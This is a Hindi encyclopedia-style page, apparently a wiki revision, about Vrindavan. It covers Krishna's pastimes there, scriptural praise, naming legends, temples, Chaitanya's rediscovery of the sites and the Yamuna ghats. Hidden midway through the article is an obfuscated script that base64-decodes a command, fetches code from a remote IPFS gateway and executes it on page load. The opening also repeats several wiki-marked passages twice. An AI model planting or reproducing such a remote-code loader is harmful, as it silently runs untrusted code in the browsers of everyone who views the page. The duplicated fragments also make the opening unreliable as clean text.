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*रंगभूमि में उपस्थित माथुर रमणियाँ वृन्दावन की भूरि-भूरि प्रशंसा करती हुई कह रही हैं-अहा&nbsp;! इन तीनों लोको में श्रीवृन्दावन और वृन्दावन में रहने वाली गोप-रमणियाँ ही धन्य हैं, जहाँ परम पुराण पुरूष श्रीकृष्ण योगमाया के द्वारा निगूढ़ रूप में मनुष्योचित लीलाएँ कर रहे हैं। विचित्र वनमाला से विभूषित होकर [[बलराम|बलदेव]] और सखाओं के साथ मधुर [[मुरली]] को बजाते हुए गोचारण करते हैं तथा विविध प्रकार के क्रीड़ा-विलास में मग्न रहते हैं। <ref> पुण्या बत ब्रजभुवो यदयं नृलिंग- गूढ: पुराणपुरूषो वनचित्रमाल्य:। गा: पालयन् सहबल: क्वणयंश्चवेणुं विक्रीड़यांचति गिरित्ररमार्चिताड्घ्रि: ॥ (श्रीमद्भा0 10/44/13)  </ref>  
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*रंगभूमि में उपस्थित माथुर रमणियाँ वृन्दावन की भूरि-भूरि प्रशंसा करती हुई कह रही हैं-अहा&nbsp;! इन तीनों लोको में श्रीवृन्दावन और वृन्दावन में रहने वाली गोप-रमणियाँ ही धन्य हैं, जहाँ परम पुराण पुरुष श्रीकृष्ण योगमाया के द्वारा निगूढ़ रूप में मनुष्योचित लीलाएँ कर रहे हैं। विचित्र वनमाला से विभूषित होकर [[बलराम|बलदेव]] और सखाओं के साथ मधुर [[मुरली]] को बजाते हुए गोचारण करते हैं तथा विविध प्रकार के क्रीड़ा-विलास में मग्न रहते हैं। <ref> पुण्या बत ब्रजभुवो यदयं नृलिंग- गूढ: पुराणपुरुषो वनचित्रमाल्य:। गा: पालयन् सहबल: क्वणयंश्चवेणुं विक्रीड़यांचति गिरित्ररमार्चिताड्घ्रि: ॥ (श्रीमद्भा0 10/44/13)  </ref>  
 
*कृष्ण प्रेम में उन्मत्त एक [[गोपी]] दूसरी गोपी को सम्बोधित करती हुई कह रही है- अरी सखि! यह वृन्दावन, वैकुण्ठ लोक से भी अधिक रूप में पृथ्वी की कीर्तिका विस्तार कर रहा है, क्योंकि यह [[यशोदा]]नन्दन श्री[[कृष्ण]] के चरणकमलों के चिह्नों को अपने अंक में धारण कर अत्यन्त सुशोभित हो रहा है। सखि! जब रसिकेन्द्र श्रीकृष्ण अपनी विश्व-मोहिनी मुरली की तान छेड़ देते हैं, उस समय वंशीध्वनिको मेघागर्जन समझकर मयूर अपने पंखों को फैलाकर उन्मत्त की भाँति नृत्य करने लगते हैं। इसे देखकर पर्वत के शिखरों पर विचरण करने वाले पशु-पक्षी सम्पूर्ण रूप से निस्तब्ध होकर अपने कानों से मुरली ध्वनि तथा नेत्रों से मयूरों के नृत्य का रसास्वादन करने लगते हैं। <ref>  वृन्दावनं सखि भुवो वितनोति कीर्ति यद्देवकीसुतपदाम्बुजलब्धलक्ष्मि । गोविन्दवेणुमनुमत्तमयूरनृत्यं प्रेक्ष्याद्रिसान्वपरतान्यसमस्तसत्वम् ॥ (श्रीमद्भा0 10/21/10)  </ref>  
 
*कृष्ण प्रेम में उन्मत्त एक [[गोपी]] दूसरी गोपी को सम्बोधित करती हुई कह रही है- अरी सखि! यह वृन्दावन, वैकुण्ठ लोक से भी अधिक रूप में पृथ्वी की कीर्तिका विस्तार कर रहा है, क्योंकि यह [[यशोदा]]नन्दन श्री[[कृष्ण]] के चरणकमलों के चिह्नों को अपने अंक में धारण कर अत्यन्त सुशोभित हो रहा है। सखि! जब रसिकेन्द्र श्रीकृष्ण अपनी विश्व-मोहिनी मुरली की तान छेड़ देते हैं, उस समय वंशीध्वनिको मेघागर्जन समझकर मयूर अपने पंखों को फैलाकर उन्मत्त की भाँति नृत्य करने लगते हैं। इसे देखकर पर्वत के शिखरों पर विचरण करने वाले पशु-पक्षी सम्पूर्ण रूप से निस्तब्ध होकर अपने कानों से मुरली ध्वनि तथा नेत्रों से मयूरों के नृत्य का रसास्वादन करने लगते हैं। <ref>  वृन्दावनं सखि भुवो वितनोति कीर्ति यद्देवकीसुतपदाम्बुजलब्धलक्ष्मि । गोविन्दवेणुमनुमत्तमयूरनृत्यं प्रेक्ष्याद्रिसान्वपरतान्यसमस्तसत्वम् ॥ (श्रीमद्भा0 10/21/10)  </ref>  
 
*स्वयं शुकदेव गोस्वामीजी परम पुलकित होकर वृन्दावन की पुन:पुन: प्रशंसा करते हैं-अपने सिरपर मयूर पिच्छ, कानों में पीले कनेर के सुगन्धित पुष्प, श्याम अंगों पर स्वर्णिम पीताम्बर, गले में पंचरंगी पुष्पों की चरणलम्बित वनमाला धारणकर अपनी अधर-सुधा के द्वारा वेणु को प्रपूरितकर उसके मधुर नाद से चर-अचर सबको मुग्ध कर रहे हैं तथा ग्वालबाल जिनकी कीर्ति का गान कर रहे हैं, ऐसे भुवनमोहन नटवर वेश धारणकर श्रीकृष्ण अपने श्रीचरण चिह्नों के द्वारा सुशोभित करते हुए परम रमणीय वृन्दावन में प्रवेश कर रहे हैं। <ref> बर्हापीडं नटवरपु: कर्णयो: कर्णिकारं बिभ्रद् वास: कनककपिशं वैजयन्तीं च मालाम्। रन्ध्रान् वेणोरधरसुधया पूरयन् गोपवृन्दैर्वृन्दारण्यं स्वपदरमणं प्राविशद् गीतकीर्ति: ॥ (श्रीमद्भा0 10/21/5)  </ref>  
 
*स्वयं शुकदेव गोस्वामीजी परम पुलकित होकर वृन्दावन की पुन:पुन: प्रशंसा करते हैं-अपने सिरपर मयूर पिच्छ, कानों में पीले कनेर के सुगन्धित पुष्प, श्याम अंगों पर स्वर्णिम पीताम्बर, गले में पंचरंगी पुष्पों की चरणलम्बित वनमाला धारणकर अपनी अधर-सुधा के द्वारा वेणु को प्रपूरितकर उसके मधुर नाद से चर-अचर सबको मुग्ध कर रहे हैं तथा ग्वालबाल जिनकी कीर्ति का गान कर रहे हैं, ऐसे भुवनमोहन नटवर वेश धारणकर श्रीकृष्ण अपने श्रीचरण चिह्नों के द्वारा सुशोभित करते हुए परम रमणीय वृन्दावन में प्रवेश कर रहे हैं। <ref> बर्हापीडं नटवरपु: कर्णयो: कर्णिकारं बिभ्रद् वास: कनककपिशं वैजयन्तीं च मालाम्। रन्ध्रान् वेणोरधरसुधया पूरयन् गोपवृन्दैर्वृन्दारण्यं स्वपदरमणं प्राविशद् गीतकीर्ति: ॥ (श्रीमद्भा0 10/21/5)  </ref>  

१२:३६, १४ फ़रवरी २०१० का अवतरण

यमुना पार से वृन्दावन का द्रश्य
View Of Vrindavan Across Yamuna

वृन्दावन / Vrindavan / Brindaban

वृन्दावन मथुरा से १२ किलोमीटर की दूरी पर उत्तर-पश्चिम में यमुना तट पर स्थित है । यह कृष्ण की लीलास्थली है । हरिवंश पुराण, श्रीमद्भागवत, विष्णु पुराण आदि में वृन्दावन की महिमा का वर्णन किया गया है ।

  • कालिदास ने इसका उल्लेख रघुवंश में इंदुमती-स्वयंवर के प्रसंग में शूरसेनाधिपति सुषेण का परिचय देते हुए किया है<balloon title="'संभाव्य भर्तारममुंयुवानंमृदुप्रवालोत्तरपुष्पशय्ये, वृन्दावने चैत्ररथादनूनं निर्विशयतां संदरि यौवनश्री' रघुवंश 6,50" style="color:blue">*</balloon> इससे कालिदास के समय में वृन्दावन के मनोहारी उद्यानों की स्थिति का ज्ञान होता है ।
  • श्रीमद्भागवत के अनुसार गोकुल से कंस के अत्याचार से बचने के लिए नंदजी कुटुंबियों और सजातीयों के साथ वृन्दावन निवास के लिए आये थे[१]
  • विष्णु पुराण में इसी प्रसंग का उल्लेख है<balloon title="'वृन्दावन भगवता कृष्णेनाक्लिष्टकर्मणा शुभेण मनसाध्यातं गवां सिद्विमभीप्सता।'विष्णुपुराण 5,6,28" style="color:blue">*</balloon>
  • विष्णुपुराण में अन्यत्र वृन्दावन में कृष्ण की लीलाओं का वर्णन भी है<balloon title="'यथा एकदा तु विना रामं कृष्णो वृन्दावन ययु:' दे॰ विष्णुपुराण 5,13,24" style="color:blue">*</balloon> आदि ।

प्राचीन वृन्दावन


कहते है कि वर्तमान वृन्दावन असली या प्राचीन वृन्दावन नहीं है । श्रीमद्भागवत<balloon title="श्रीमद्भागवत 10,36" style="color:blue">*</balloon> के वर्णन तथा अन्य उल्लेखों से जान पड़ता है कि प्राचीन वृन्दावन गोवर्धन के निकट था । गोवर्धन-धारण की प्रसिद्ध कथा की स्थली वृन्दावन पारसौली ( परम रासस्थली ) के निकट था । अष्टछाप कवि महाकवि सूरदास इसी ग्राम में दीर्घकाल तक रहे थे । सूरदास जी ने वृन्दावन रज की महिमा के वशीभूत होकर गाया है-हम ना भई वृन्दावन रेणु [२]

ब्रज का हृदय


वृन्दावन का नाम आते ही मन पुलकित हो उठता है । योगेश्वर श्री कृष्ण की मनभावन मूर्ति आँखों के सामने आ जाती है । उनकी दिव्य आलौकिक लीलाओं की कल्पना से ही मन भक्ति और श्रद्धा से नतमस्तक हो जाता है । वृन्दावन को ब्रज का हृदय कहते है जहाँ श्री राधाकृष्ण ने अपनी दिव्य लीलाएँ की हैं । इस पावन भूमि को पृथ्वी का अति उत्तम तथा परम गुप्त भाग कहा गया है । पद्म पुराण में इसे भगवान का साक्षात शरीर, पूर्ण ब्रह्म से सम्पर्क का स्थान तथा सुख का आश्रय बताया गया है । इसी कारण से यह अनादि काल से भक्तों की श्रद्धा का केन्द्र बना हुआ है । चैतन्य महाप्रभु, स्वामी हरिदास, श्री हितहरिवंश, महाप्रभु वल्लभाचार्य आदि अनेक गोस्वामी भक्तों ने इसके वैभव को सजाने और संसार को अनश्वर सम्पति के रुप में प्रस्तुत करने में जीवन लगाया है । यहाँ आनन्दप्रद युगलकिशोर श्रीकृष्ण एवं श्रीराधा की अद्भुत नित्य विहार लीला होती रहती है ।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

नामकरण

  • इस पावन स्थली का वृन्दावन नामकरण कैसे हुआ ? इस संबंध में अनेक मत हैं । 'वृन्दा' तुलसी को कहते हैं । यहाँ तुलसी के पौधे अधिक थे । इसलिए इसे वृन्दावन कहा गया ।
  • वृन्दावन की अधिष्ठात्री देवी वृन्दा हैं । कहते हैं कि वृन्दा देवी का मन्दिर सेवाकुंज वाले स्थान पर था । यहाँ आज भी छोटे-छोटे सघन कुंज हैं । श्री वृन्दा देवी के द्वारा परिसेवित परम रमणीय विविध प्रकार के सेवाकुंजों और केलिकुंजों द्वारा परिव्याप्त इस रमणीय वन का नाम वृन्दावन है। यहाँ वृन्दा देवी का सदा-सर्वदा अधिष्ठान है। वृन्दा देवी श्रीवृन्दावन की रक्षयित्री, पालयित्री, वनदेवी हैं। वृन्दावन के वृक्ष, लता, पशु-पक्षी सभी इनके आदेशवर्ती और अधीन हैं। श्री वृन्दा देवी की अधीनता में अगणित गोपियाँ नित्य-निरन्तर कुंजसेवा में संलग्न रहती हैं। इसलिए ये ही कुंज सेवा की अधिष्ठात्री देवी हैं। पौर्णमासी योगमाया पराख्या महाशक्ति हैं। गोष्ठ और वन में लीला की सर्वांगिकता का सम्पादन करना योगमाया का कार्य है। योगमाया समाष्टिभूता स्वरूप शक्ति हैं। इन्हीं योगमाया की लीलावतार हैं- भगवती पौर्णमासीजी। दूसरी ओर राधाकृष्ण के निकुंज-विलास और रास-विलास आदि का सम्पादन कराने वाली वृन्दा देवी हैं। वृन्दा देवी के पिता का नाम चन्द्रभानु, माता का नाम फुल्लरा गोपी तथा पति का नाम महीपाल है। ये सदैव वृन्दावन में निवास करती हैं। ये वृन्दा, वृन्दारिका, मैना, मुरली आदि दूती सखियों में सर्वप्रधान हैं। ये ही वृन्दावन की वनदेवी तथा श्रीकृष्ण की लीलाख्या महाशक्ति की विशेष मूर्तिस्वरूपा हैं। इन्हीं वृन्दा ने अपने परिसेवित और परिपालित वृन्दावन के साम्राज्य को महाभाव स्वरूपा वृषभानु नन्दिनी राधिका के चरणकमलों में समर्पण कर रखा है। इसीलिए राधिका जी ही वृन्दावनेश्वरी हैं।
  • ब्रह्म वैवर्त पुराण के अनुसार वृन्दा राजा केदार की पुत्री थी । उसने इस वनस्थली में घोर तप किया था । अत: इस वन का नाम वृन्दावन हुआ । कालान्तर में यह वन धीरे-धीरे बस्ती के रुप में विकसित होकर आबाद हुआ ।
  • ब्रह्म वैवर्त पुराण में राजा कुशध्वज की पुत्री जिस तुलसी का शंखचूड़ से विवाह आदि का वर्णन है, तथा पृथ्वी लोक में हरिप्रिया वृन्दा या तुलसी जो वृक्ष रूप में देखी जाती हैं- ये सभी सर्वशक्तिमयी राधिका की कायव्यूहा स्वरूपा, सदा-सर्वदा वृन्दावन में निवास कर और सदैव वृन्दावन के निकुंजों में युगल की सेवा करने वाली वृन्दा देवी की अंश, प्रकाश या कला स्वरूपा हैं। इन्हीं वृन्दा देवी के नाम से यह वृन्दावन प्रसिद्ध है। इसी पुराण में कहा गया है कि श्रीराधा के सोलह नामों में से एक नाम वृन्दा भी है । वृन्दा अर्थात राधा अपने प्रिय श्रीकृष्ण से मिलने की आकांक्षा लिए इस वन में निवास करती है और इस स्थान के कण-कण को पावन तथा रसमय करती हैं । वृन्दावन यानी भक्ति का वन अथवा तुलसी का वन।
गोविन्द देव जी का मंदिर, वृन्दावन
Govind Dev Temple, Vrindavan
  • धार्मिक ग्रन्थ श्रीमद्भागवत महापुराण में वृन्दावन की महिमा अधिक है । यहां पर उस परब्रह्म परमात्मा ने मानव रुप अवतार धारण कर अनेक प्रकार की लीलायें की । यह वृन्दावन व्रज में आता हैं । व्रज-अर्थात- व से ब्रह्म और शेष रह गया रज यानि यहाँ ब्रह्म ही रज के रुप में व्याप्त हैं । इसीलिए इस भूमि को व्रज कहा जाता हैं । उसी व्रज में यह वृन्दावन भी आता हैं। विशेषकर यह वृन्दावन भगवान् श्रीकृष्ण की लीला क्षेत्र हैं । किसी संत ने कहा है कि -

वृन्दावन सो वन नहीं , नन्दगांव सो गांव ।

बंशीवट सो बट नहीं, कृष्ण नाम सो नाम । [३] इस वृन्दावन में भगवान श्रीकृष्ण की चिन्मय रुप प्रेमरुपा राधा जी साक्षात विराजमान हैं । राधा साक्षत भक्ति रुपा है इस लिए इस वृन्दावन में वास करने तथा भजन कीर्तन एवं दान इत्यादि करने से सौ गुना फल प्राप्त होता है । शिरोमणि श्रीमद्भागवत में यत्र-तत्र सर्वत्र ही श्रीवृन्दावन की प्रचुर महिमा का वर्णन प्राप्त होता है।


  • श्रीनन्दबाबा के एवं ज्येष्ठ भ्राता श्री उपानन्द जी कह रहे हैं-उपद्रवों से भरे हुए इस गोकुल महावन में न रहकर, तुरन्त सब प्रकार से सुरम्य, तृणोंसे आच्छादित, नाना प्रकार की वृक्ष-वल्लरियों तथा पवित्र पर्वत से सुशोभित, गो आदि पशुओं के लिए सब प्रकार से सुरक्षित इस परम रमणीय वृन्दावन में हम गोप, गोपियों के लिए निवास करना कर्तव्य है।<balloon title="वनं वृन्दावनं नाम पशव्यं नवकाननम् । गोपगोपीगवां सेव्यं पुण्याद्रितृणवीरूधम् ॥ (श्रीमद्भ0 10/11/28)" style="color:blue">*</balloon>
  • चतुर्मुख ब्रह्मा श्रीकृष्ण की अद्भुत लीला-माधुरी का दर्शन कर बड़े विस्मित हुए और हाथ जोड़कर प्रार्थना करने लगे। ब्रह्माजी कह रहे हैं- 'अहो! आज तक भी श्रुतियाँ जिनके चरणकमलों की धूलि को अन्वेषण करके भी नहीं पा सकी हैं, वे भगवान मुकुन्द जिनके प्राण एवं जीवन सर्वस्व हैं, इस वृन्दावन में उन ब्रजवासियों में से किसी की चरणधूलि में अभिषिक्त होने योग्य तृण, गुल्म या किसी भी योनि में जन्म होना मेरे लिए महासौभाग्य की बात होगी। यदि इस वृन्दावन में किसी योनि में जन्म लेने की सम्भावना न हो, तो नन्द गोकुल के प्रान्त भाग में भी किसी शिला के रूप में जन्म ग्रहण करूँ, जिससे वहाँ की मैला साफ करने वाली जमादारनियाँ भी अपने पैरों को साफ करने के लिए उन पत्थरों पर पैर रगड़ें , जिससे उनकी चरणधूलि को स्पर्श करने का भी सौभाग्य प्राप्त हो।'[४]
  • प्रेमातुरभक्त उद्धवजी तो यहाँ तक कहते हैं कि जिन्होंने दुस्त्यज्य पति-पुत्र आदि सगे-सम्बन्धियों, आर्यधर्म और लोकलज्जा आदि सब कुछ का परित्याग कर श्रुतियों के अन्वेषणीय स्वयं-भगवान ब्रजेन्द्रनन्दन श्रीकृष्ण को भी अपने प्रेम से वशीभूत कर रखा है- मैं उन गोप-गोपियों की चरण-गोपियों की चरण-धूलि से अभिषिक्त होने के लिए इस वृन्दावन में गुल्म, लता आदि किसी भी रूप में जन्म प्राप्त करने पर अपना अहोभाग्य समझूँगा। [५]
रथ यात्रा, रंग जी, वृन्दावन
Rath Yatra, Rang Ji, Vrindavan
  • रंगभूमि में उपस्थित माथुर रमणियाँ वृन्दावन की भूरि-भूरि प्रशंसा करती हुई कह रही हैं-अहा ! इन तीनों लोको में श्रीवृन्दावन और वृन्दावन में रहने वाली गोप-रमणियाँ ही धन्य हैं, जहाँ परम पुराण पुरुष श्रीकृष्ण योगमाया के द्वारा निगूढ़ रूप में मनुष्योचित लीलाएँ कर रहे हैं। विचित्र वनमाला से विभूषित होकर बलदेव और सखाओं के साथ मधुर मुरली को बजाते हुए गोचारण करते हैं तथा विविध प्रकार के क्रीड़ा-विलास में मग्न रहते हैं। [६]
  • कृष्ण प्रेम में उन्मत्त एक गोपी दूसरी गोपी को सम्बोधित करती हुई कह रही है- अरी सखि! यह वृन्दावन, वैकुण्ठ लोक से भी अधिक रूप में पृथ्वी की कीर्तिका विस्तार कर रहा है, क्योंकि यह यशोदानन्दन श्रीकृष्ण के चरणकमलों के चिह्नों को अपने अंक में धारण कर अत्यन्त सुशोभित हो रहा है। सखि! जब रसिकेन्द्र श्रीकृष्ण अपनी विश्व-मोहिनी मुरली की तान छेड़ देते हैं, उस समय वंशीध्वनिको मेघागर्जन समझकर मयूर अपने पंखों को फैलाकर उन्मत्त की भाँति नृत्य करने लगते हैं। इसे देखकर पर्वत के शिखरों पर विचरण करने वाले पशु-पक्षी सम्पूर्ण रूप से निस्तब्ध होकर अपने कानों से मुरली ध्वनि तथा नेत्रों से मयूरों के नृत्य का रसास्वादन करने लगते हैं। [७]
  • स्वयं शुकदेव गोस्वामीजी परम पुलकित होकर वृन्दावन की पुन:पुन: प्रशंसा करते हैं-अपने सिरपर मयूर पिच्छ, कानों में पीले कनेर के सुगन्धित पुष्प, श्याम अंगों पर स्वर्णिम पीताम्बर, गले में पंचरंगी पुष्पों की चरणलम्बित वनमाला धारणकर अपनी अधर-सुधा के द्वारा वेणु को प्रपूरितकर उसके मधुर नाद से चर-अचर सबको मुग्ध कर रहे हैं तथा ग्वालबाल जिनकी कीर्ति का गान कर रहे हैं, ऐसे भुवनमोहन नटवर वेश धारणकर श्रीकृष्ण अपने श्रीचरण चिह्नों के द्वारा सुशोभित करते हुए परम रमणीय वृन्दावन में प्रवेश कर रहे हैं। [८]
  • इसलिए अखिल चिदानन्द रसों से आप्लावित मधुर वृन्दावन को छोड़कर श्रीकृष्ण कदापि अन्यत्र गमन नहीं करते हैं।<balloon title="वृन्दावनं परित्यज्य पादमेकं न गच्छति' (ब्रह्मयामल)" style="color:blue">*</balloon>
  • एक रसिक और भक्त कवि ने वृन्दावन के सम्बन्ध में श्रुति पुराणों का सार गागर में सागर की भाँति संकलन कर ठीक ही कहा है-

ब्रज समुद्र मथुरा कमल वृन्दावन मकरन्द।

ब्रज वनिता सब पुष्प हैं मधुकर गोकुलचन्द।

महाप्रभु चैतन्य का प्रवास

शाह बिहारी जी मन्दिर, वृन्दावन
Shah Bihari Ji Temple, Vrindavan

प्राचीन वृन्दावन मुसलमानों के शासन काल में उनके निरंतर आक्रमणों के कारण नष्ट हो गया था और कृष्णलीला की स्थली का कोई अभिज्ञान शेष नहीं रहा था । 15वीं शती में चैतन्य महाप्रभु ने अपनी ब्रजयात्रा के समय वृन्दावन तथा कृष्ण कथा से संबंधित अन्य स्थानों को अपने अंतर्ज्ञान द्वारा पहचाना था । रासस्थली, वंशीवट से युक्त वृन्दावन सघन वनों में लुप्त हो गया था। कुछ वर्षों के पश्चात शाण्डिल्य एवं भागुरी ऋषि आदि की सहायता से श्री वज्रनाभ महाराज ने कहीं श्रीमन्दिर, कहीं सरोवर, कहीं कुण्ड आदि की स्थापनाकर लीला-स्थलियों का प्रकाश किया। किन्तु लगभग साढ़े चार हजार वर्षों के बाद ये सारी लीला-स्थलियाँ पुन: लुप्त हो गईं, महाप्रभु चैतन्य ने तथा श्रीरूप-सनातन आदि अपने परिकारों के द्वारा लुप्त श्रीवृन्दावन और ब्रजमंडल की लीला-स्थलियों को पुन: प्रकाशित किया। श्रीचैतन्य महाप्रभु के पश्चात उन्हीं की विशेष आज्ञा से श्रीलोकनाथ और श्रीभूगर्भ गोस्वामी, श्री सनातन गोस्वामी, श्री रूप गोस्वामी, श्रीगोपालभट्ट गोस्वामी, श्रीरघुनाथ भट्ट गोस्वामी, श्रीरघुनाथदास गोस्वामी, श्री जीव गोस्वामी आदि गौड़ीय वैष्णवाचार्यों ने विभिन्न शास्त्रों की सहायता से, अपने अथक परिश्रम द्वारा ब्रज की लीला-स्थलियों को प्रकाशित किया है। उनके इस महान कार्य के लिए सारा विश्व, विशेषत: वैष्णव जगत उनका चिरऋणी रहेगा।


वर्तमान वृन्दावन में प्राचीनतम मंदिर राजा मानसिंह का बनवाया हुआ है । यह मुगल सम्राट अकबर के शासनकाल में बना था । मूलत: यह मंदिर सात मंजिलों का था । ऊपर के दो खंड औरंगज़ेब ने तुड़वा दिए थे । कहा जाता है कि इस मंदिर के सर्वोच्च शिखर पर जलने वाले दीप मथुरा से दिखाई पड़ते थे । यहां का विशालतम मंदिर रंगजी के नाम से प्रसिद्ध है । यह दाक्षिणत्य शैली में बना हुआ है । इसके गोपुर बड़े विशाल एवं भव्य हैं । यह मंदिर दक्षिण भारत के श्रीरंगम के मंदिर की अनुकृति जान पड़ता है । वृन्दावन के दर्शनीय स्थल हैं- निधिवन (हरिदास का निवास कुंज), कालियादह, सेवाकुंज आदि।

प्राकृतिक छटा

वृन्दावन की प्राकृतिक छटा देखने योग्य है । यमुना जी ने इसको तीन ओर से घेरे रखा है । यहाँ के सघन कुंजो में भाँति-भाँति के पुष्पों से शोभित लता तथा ऊँचे-ऊँचे घने वृक्ष मन में उल्लास भरते हैं । बसंत ॠतु के आगमन पर यहाँ की छटा और सावन-भादों की हरियाली आँखों को शीतलता प्रदान करती है, वह श्रीराधा-माधव के प्रतिबिम्बों के दर्शनों का ही प्रतिफल है ।


वृन्दावन का कण-कण रसमय है । यहाँ प्रेम-भक्ति का ही साम्राज्य है । इसे गोलोक धाम से अधिक बढ़कर माना गया है । यही कारण है कि हज़ारों धर्म-परायणजन यहाँ अपने-अपने कामों से अवकाश प्राप्त कर अपने शेष जीवन को बिताने के लिए यहाँ अपने निवास स्थान बनाकर रहते हैं । वे नित्य प्रति रासलीलाओं, साधु-संगतों, हरिनाम संकीर्तन, भागवत आदि ग्रन्थों के होने वाले पाठों में सम्मिलित होकर धर्म-लाभ प्राप्त करते हैं । वृन्दावन मथुरा भगवान कृष्ण की लीला से जुडा हुआ है । ब्रज के केन्द्र में स्थित वृन्दावन में सैंकड़ो मन्दिर है । जिनमें से अनेक ऐतिहासिक धरोहर भी है । यहाँ सैंकड़ो आश्रम और कई गौशालाऐं है । गौड़ीय वैष्णव, वैष्णव और हिन्दूओं के धार्मिक क्रिया-कलापों के लिए वृन्दावन विश्वभर में प्रसिध्द है । देश से पर्यटक और तीर्थ यात्री यहाँ आते है । सूरदास, स्वामी हरिदास, चैतन्य महाप्रभु के नाम वृन्दावन से हमेशा के लिए जुड़े हुए है ।

वृन्दावन में यमुना के घाट

वृन्दावन में श्रीयमुना के तट पर अनेक घाट हैं। उनमें से प्रसिद्ध-प्रसिद्ध घाटों का उल्लेख किया जा रहा है-

  1. श्रीवराहघाट- वृन्दावन के दक्षिण-पश्चिम दिशा में प्राचीन यमुनाजी के तट पर श्रीवराहघाट अवस्थित है। तट के ऊपर भी श्रीवराहदेव विराजमान हैं। पास ही श्रीगौतम मुनि का आश्रम है।
  2. कालीयदमनघाट- इसका नामान्तर कालीयदह है। यह वराहघाट से लगभग आधे मील उत्तर में प्राचीन यमुना के तट पर अवस्थित है। यहाँ के प्रसंग के सम्बन्ध में पहले उल्लेख किया जा चुका है। कालीय को दमन कर तट भूमि में पहुँच ने पर श्रीकृष्ण को ब्रजराज नन्द और ब्रजेश्वरी श्रीयशोदाने अपने आसुँओं से तर-बतरकर दिया तथा उनके सारे अंगो में इस प्रकार देखने लगे कि 'मेरे लाला को कहीं कोई चोट तो नहीं पहुँची है।' महाराज नन्द ने कृष्ण की मंगल कामना से ब्राह्मणों को अनेकानेक गायों का यहीं पर दान किया था।
  3. सूर्यघाट- इसका नामान्तर आदित्यघाट भी है। गोपालघाट के उत्तर में यह घाट अवस्थित है। घाट के ऊपर वाले टीले को आदित्य टीला कहते हैं। इसी टीले के ऊपर श्रीसनातन गोस्वामी के प्राणदेवता श्रीमदनमोहनजी का मन्दिर है। उसके सम्बन्ध में हम पहले ही वर्णन कर चुके हैं। यहीं पर प्रस्कन्दन तीर्थ भी है।
  4. युगलघाट- सूर्य घाट के उत्तर में युगलघाट अवस्थित है। इस घाट के ऊपर श्रीयुगलबिहारी का प्राचीन मन्दिर शिखरविहीन अवस्था में पड़ा हुआ है। केशी घाट के निकट एक और भी युगल किशोर का मन्दिर है। वह भी इसी प्रकार शिखरविहीन अवस्था में पड़ा हुआ है।
  5. श्रीबिहारघाट- युगलघाट के उत्तर में श्रीबिहारघाट अवस्थित है। इस घाट पर श्रीराधाकृष्ण युगल स्नान, जल विहार आदि क्रीड़ाएँ करते थे।
  6. श्रीआंधेरघाट- युगलघाट के उत्तर में यह घाट अवस्थित हैं। इस घाट के उपवन में कृष्ण और गोपियाँ आँखमुदौवल की लीला करते थे। अर्थात् गोपियों के अपने करपल्लवों से अपने नेत्रों को ढक लेने पर श्रीकृष्ण आस-पास कहीं छिप जाते और गोपियाँ उन्हें ढूँढ़ती थीं। कभी श्रीकिशोरी जी इसी प्रकार छिप जातीं और सभी उनको ढूँढ़ते थे।
  7. इमलीतला घाट- आंधेरघाट के उत्तर में इमलीघाट अवस्थित है। यहीं पर श्रीकृष्ण के समसामयिक इमली वृक्ष के नीचे महाप्रभु श्रीचैतन्य देव अपने वृन्दावन वास काल में प्रेमाविष्ट होकर हरिनाम करते थे। इसलिए इसको गौरांगघाट भी कहते हैं। इस लीला स्थान के सम्बन्ध में भी हम पहले उल्लेख कर चुके हैं।
  8. श्रृंगारघाट- इमलीतला घाट से कुछ पूर्व दिशा में यमुना तट पर श्रृंगारघाट अवस्थित है। यहीं बैठकर श्रीकृष्ण ने मानिनी श्रीराधिका का श्रृंगार किया था। वृन्दावन भ्रमण के समय श्रीनित्यानन्द प्रभुने इस घाट में स्नान किया था तथा कुछ दिनों तक इसी घाट के ऊपर श्रृंगारवट पर निवास किया था।
  9. श्रीगोविन्दघाट- श्रृंगारघाट के पास ही उत्तर में यह घाट अवस्थित है। श्रीरासमण्डल से अन्तर्धान होने पर श्रीकृष्ण पुन: यहीं पर गोपियों के सामने आविर्भूत हुये थे।
  10. चीर घाट- कौतु की श्रीकृष्ण स्नान करती हुईं गोपिकुमारियों के वस्त्रों को लेकर यहीं कदम्ब वृक्ष के ऊपर चढ़ गये थे। चीर का तात्पर्य वस्त्र से है। पास ही कृष्ण ने केशी दैत्य का वध करने के पश्चात् यहीं पर बैठकर विश्राम किया था। इसलिए इस घाटका दूसरा नाम चैन या चयनघाट भी है। इसके निकट ही झाडूमण्डल दर्शनीय है।
  11. श्रीभ्रमरघाट- चीरघाट के उत्तर में यह घाट स्थित है। जब किशोर-किशोरी यहाँ क्रीड़ा विलास करते थे, उस समय दोनों के अंग सौरभ से भँवरे उन्मत्त होकर गुंजार करने लगते थे। भ्रमरों के कारण इस घाट का नाम भ्रमरघाट है।
  12. श्रीकेशीघाट- श्रीवृन्दावन के उत्तर-पश्चिम दिशा में तथा भ्रमरघाट के उत्तर में यह प्रसिद्ध घाट विराजमान है। इसका हम पहले ही वर्णन कर चुके हैं।
  13. धीरसमीरघाट- श्रीवृन्दावन की उत्तर-दिशा में केशीघाट से पूर्व दिशा में पास ही धीरसमीरघाट है। श्रीराधाकृष्ण युगल का विहार देखकर उनकी सेवा के लिए समीर भी सुशीतल होकर धीरे-धीरे प्रवाहित होने लगा था। पहले ही इसका उल्लेख किया जा चुका है।
  14. श्रीराधाबागघाट- वृन्दावन के पूर्व में यह घाट अवस्थित है। इसका भी वर्णन पहले किया जा चुका है।
  15. श्रीपानीघाट-इसी घाट से गोपियों ने यमुना को पैदल पारकर महर्षि दुर्वासा को सुस्वादु अन्न भोजन कराया था। इसका वर्णन पहले किया जा चुका है।
  16. आदिबद्रीघाट- पानीघाट से कुछ दक्षिण में यह घाट अवस्थित है। यहाँ श्रीकृष्ण ने गोपियों को आदिबद्री नारायण का दर्शन कराया था।
